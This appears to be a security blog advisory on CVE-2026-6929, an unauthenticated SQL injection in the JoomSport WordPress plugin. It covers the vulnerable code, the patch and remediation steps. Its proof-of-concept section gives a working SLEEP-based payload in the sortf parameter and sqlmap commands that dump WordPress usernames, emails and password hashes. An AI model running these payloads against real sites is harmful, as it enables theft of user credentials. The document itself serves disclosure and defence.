JoomSport – for Sports: Team & League, Football, Hockey & more WordPress plugin banner

CVE-2026-6929: JoomSport Unauthenticated SQL Injection (CVSS 7.5)

CVE-2026-6929 is a CVSS 7.5 (High) unauthenticated time-based blind SQL injection vulnerability in the JoomSport – for Sports: Team & League, Football, Hockey & more WordPress plugin. Any visitor — without logging in — can send a crafted sortf parameter to a page with the player list and force the database server to delay its response, confirming SQL injection. From there, the attacker can extract any data stored in the WordPress database.

Vulnerability Summary

FieldValue
Plugin NameJoomSport – for Sports: Team & League, Football, Hockey & more
Plugin Slugjoomsport-sports-league-results-management
CVE IDCVE-2026-6929
CVSS Score7.5 (High)
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Vulnerability TypeUnauthenticated SQL Injection (Time-Based Blind)
Affected Versions<= 5.7.7
Patched Version5.7.8
PublishedMay 12, 2026
Researcherdaroo
Wordfence AdvisoryLink

Description

The JoomSport plugin allows any visitor to sort the player list by passing a sortf GET parameter in the URL. In versions up to and including 5.7.7, that parameter is taken from user input and placed directly into the SQL ORDER BY clause without proper validation. The only safeguard applied is WordPress’s sanitize_text_field(), which strips HTML tags but does not prevent SQL injection. As a result, an unauthenticated attacker can inject SQL expressions into the sort field and extract sensitive information from the database through time-based blind injection techniques.

Technical Analysis

Vulnerable File: class-jsport-playerlist.php

The vulnerability starts in sportleague/classes/objects/class-jsport-playerlist.php. Inside the loadObject() method, the plugin reads the sortf GET parameter and uses it to build the SQL ORDER BY clause:

// class-jsport-playerlist.php — lines 78–80 (version 5.7.6)
if (classJsportRequest::get('sortf')) {
    $typeAD = in_array(classJsportRequest::get('sortd'), array("ASC","DESC"))?classJsportRequest::get('sortd'):"ASC";
    $options['ordering'] = str_replace(" ","",sanitize_text_field("`".classJsportRequest::get('sortf')."`")).' '.$typeAD;
}

The code wraps the user-supplied value in backtick characters (`) and calls sanitize_text_field(). Neither defense prevents SQL injection:

For example, if the attacker sends sortf=played%60-SLEEP(5)-- (URL-encoded backtick), the plugin builds:

`played`-SLEEP(5)-- ASC

How the Input Reaches the Database

The classJsportRequest::get() method reads $_REQUEST['sortf'] and applies sanitize_text_field():

// class-jsport-request.php — line 33
$return = isset($_REQUEST[$var]) ? sanitize_text_field(wp_unslash($_REQUEST[$var])) : '';

No authentication check is applied anywhere in this code path. The $options['ordering'] value is then passed to classJsportgetplayers::getPlayersFromTeam(), which concatenates it directly into a raw SQL string:

// class-jsport-getplayers.php — line 153
$query .= ' ORDER BY '.($ordering)
    .(isset($limit) && $limit ? " LIMIT {$limit}" : '')
    .(isset($limit) && $limit && isset($offset) ? " OFFSET {$offset}" : '');

The same direct concatenation appears on lines 102 and 197 for different query paths. None of these use $wpdb->prepare() or any parameterized approach for the ORDER BY clause.

Root Cause

sanitize_text_field() is not a SQL-escaping function. It is designed for display safety, not database safety. The code never validates that the sortf value matches an allowed column name. Any string that survives sanitize_text_field() — including SQL expressions — is inserted verbatim into the query.

Because the player list is rendered on publicly accessible pages (via the joomsport_season post type or the [jsMatchPlayerList] shortcode), no login is required to reach this code path.

Proof of Concept

Disclaimer: This proof of concept is provided for educational and defensive purposes only. Test only on systems you own or have explicit written permission to test.

Prerequisites:

Step 1 — Confirm time-based injection (5-second delay):

# The backtick closes the quoted column context; SLEEP(5) delays the response.
# Note: URL-encode the backtick as %60.
curl -s -o /dev/null -w "Time: %{time_total}s\n" \
  "https://example.com/my-league/?sortf=played%60-SLEEP(5)--&sortd=ASC"

Expected output (vulnerable site):

Time: 5.2s

On a patched site the response returns immediately (< 1 second) because the payload is rejected by the allowlist.

Step 2 — Extract data with SQLMap (time-based blind):

sqlmap -u "https://example.com/my-league/?sortf=played&sortd=ASC" \
  -p sortf \
  --technique=T \
  --level=1 \
  --risk=1 \
  --dbs \
  --batch

SQLMap will detect the time-based blind injection point and enumerate databases.

Step 3 — Dump WordPress users table:

sqlmap -u "https://example.com/my-league/?sortf=played&sortd=ASC" \
  -p sortf \
  --technique=T \
  -D wordpress \
  -T wp_users \
  -C user_login,user_email,user_pass \
  --dump \
  --batch

This retrieves all WordPress usernames, email addresses, and hashed passwords from the database.

Patch Analysis

Version 5.7.8 fixes the vulnerability by introducing a strict allowlist for the sortf parameter. The unsafe direct use of user input is replaced with a validated variable $sortFieldEsc that defaults to post_title:

// class-jsport-playerlist.php
+        $sortFieldEsc = 'post_title';
+        $sortCols = array("played", "career_minutes","post_title");
+
         if (classJsportRequest::get('sortf')) {
             $link .= '&sortf='.classJsportRequest::get('sortf');
             $link .= '&sortd='.classJsportRequest::get('sortd');
+
+            if (in_array(classJsportRequest::get('sortf'), $sortCols)) {
+                $sortFieldEsc = classJsportRequest::get('sortf');
+            }
+            if (preg_match('/^eventid_\d+$/', classJsportRequest::get('sortf'))) {
+                $sortFieldEsc = classJsportRequest::get('sortf');
+            }
+            if (preg_match('/^ef_\d+$/', classJsportRequest::get('sortf'))) {
+                $sortFieldEsc = classJsportRequest::get('sortf');
+            }
         }

         if (classJsportRequest::get('sortf')) {
             $typeAD = in_array(classJsportRequest::get('sortd'), array("ASC","DESC"))?classJsportRequest::get('sortd'):"ASC";
-            $options['ordering'] = str_replace(" ","",sanitize_text_field("`".classJsportRequest::get('sortf')."`")).' '.$typeAD;
+            $options['ordering'] = str_replace(" ","",sanitize_text_field("`".$sortFieldEsc."`")).' '.$typeAD;
         }

The fix ensures that only known-safe values reach the SQL query:

Any other input is silently ignored and the safe default post_title is used instead. This approach removes the injection vector entirely.

Timeline

DateEvent
May 12, 2026Vulnerability publicly disclosed by Wordfence
May 13, 2026Advisory last updated
May 14, 2026Blog post published

Remediation

Update JoomSport to version 5.7.8 or later immediately.

  1. Go to WordPress Admin → Plugins → Installed Plugins
  2. Find JoomSport – for Sports: Team & League, Football, Hockey & more
  3. Click Update Now

You can also download version 5.7.8 directly from wordpress.org.

If you cannot update right away, temporarily deactivate the plugin to remove the attack surface until the update is applied.

References

  1. Wordfence Advisory — CVE-2026-6929
  2. CVE Record — CVE-2026-6929
  3. Vulnerable file: class-jsport-getplayers.php (trunk)
  4. Vulnerable file: class-jsport-playerlist.php (trunk)
  5. Patch changeset on plugins.trac.wordpress.org

Frequently Asked Questions

What is CVE-2026-6929?

CVE-2026-6929 is a CVSS 7.5 (High) severity unauthenticated time-based blind SQL injection vulnerability in the JoomSport WordPress plugin. Any visitor can exploit it to extract sensitive data from the database without logging in.

Which versions of JoomSport are affected by CVE-2026-6929?

All versions up to and including 5.7.7 are affected. Version 5.7.8 contains the fix.

What can an attacker do with CVE-2026-6929?

An attacker can extract sensitive information from the WordPress database, including user credentials, email addresses, and any other data stored in the database.

Does an attacker need to be logged in to exploit CVE-2026-6929?

No. Any visitor can trigger this vulnerability by sending a crafted HTTP request to any page that renders the JoomSport player list.

How do I fix CVE-2026-6929 in JoomSport?

Update JoomSport to version 5.7.8 or later from the WordPress admin dashboard or wordpress.org.

Has JoomSport been patched for CVE-2026-6929?

Yes. Version 5.7.8 was released and resolves this vulnerability by replacing the unsafe sortf parameter with a strict allowlist.

If you found this post helpful, consider buying me a coffee. It keeps me writing!

Buy Me A Coffee